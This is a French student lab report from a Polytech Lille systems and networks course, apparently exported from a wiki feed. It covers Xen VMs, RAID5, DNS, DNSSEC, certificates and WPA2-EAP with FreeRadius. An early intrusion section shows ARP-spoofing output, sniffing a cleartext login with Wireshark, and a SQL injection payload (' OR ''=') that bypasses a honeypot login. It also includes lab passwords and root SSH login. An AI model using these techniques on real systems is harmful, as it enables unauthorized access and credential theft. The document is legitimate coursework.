    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54707</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54707"/>
				<updated>2020-12-15T14:29:11Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration des points d'accès WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
